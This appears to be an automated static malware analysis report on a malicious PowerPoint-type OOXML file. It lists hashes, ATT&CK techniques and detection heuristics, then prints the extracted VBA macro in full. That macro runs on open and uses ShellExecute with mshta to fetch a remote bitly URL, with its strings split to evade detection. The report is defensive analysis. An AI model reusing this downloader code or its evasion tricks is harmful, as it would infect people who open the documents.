Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 df19c7a8e5eda595…

MALICIOUS

Office (OOXML)

7.6 KB First seen: 2021-06-28
MD5: 0e8599b5dd816ec4cf81d09156677d20 SHA-1: c3675f208900f173858d246cab9d2e81a6f5832d SHA-256: df19c7a8e5eda595e7e706e36ac5f738012f681a097d71234c782e4bbfb68fa1
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML file contains a VBA macro with an Auto_Open subroutine, which is automatically executed when the document is opened. This macro uses ShellExecute to open the URL 'http://www.bitly.com/hwdinnwshdwqwhda', likely to download and execute a second-stage payload. The VBA project part was renamed to 'ppt/jeee.bin' to evade detection.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/jeee.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub _
    Auto_Open _
    ()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1080 bytes
SHA-256: e24261d98bdd5f090fae782663d1a9c41a8f7a91ebf70668bac7174bf28ec4bc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Const _
SW_SHOW _
= _
1
Const _
SW_SHOWMAXIMIZED _
= _
3

Public _
Declare _
Function _
ShellExecute _
Lib _
"Shell32.dll" _
Alias _
"ShellExecuteA" _
  (ByVal _
  hwnd _
  As _
  Long _
  , _
   ByVal _
   lpOperation _
   As _
   String _
   , _
   ByVal lpFile As String _
   , _
   ByVal lpParameters As String _
   , _
   ByVal lpDirectory As String _
   , _
   ByVal nShowCmd As Long) As Long
Function koko()



koko _
= _
"m" _
+ _
"s" _
+ _
"h" _
+ _
"t" _
+ _
"a"
End _
Function
Sub _
Auto_Open _
()
  Dim _
  RetVal _
  As _
  Long
  On _
  Error _
  Resume _
  Next
  RetVal _
  = _
  ShellExecute _
  (0, "open", koko, "h" _
  + _
  "t" _
  + _
  "t" _
  + _
  "p" _
  + _
  ":" _
  + _
  "/" _
  + _
  "/" _
  + _
  "w" _
  + _
  "w" _
  + "w" + "." + "b" + "i" + "t" + "l" + "y" + "." + "c" + "o" + "m/hwdinnwshdwqwhda", _
                        "%public%" _
                        , _
                        SW_SHOWMinimize)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/jeee.bin 14336 bytes
SHA-256: cff4d32847e7f41817667477518305c56633b72553719d4ca33c3d1754b20626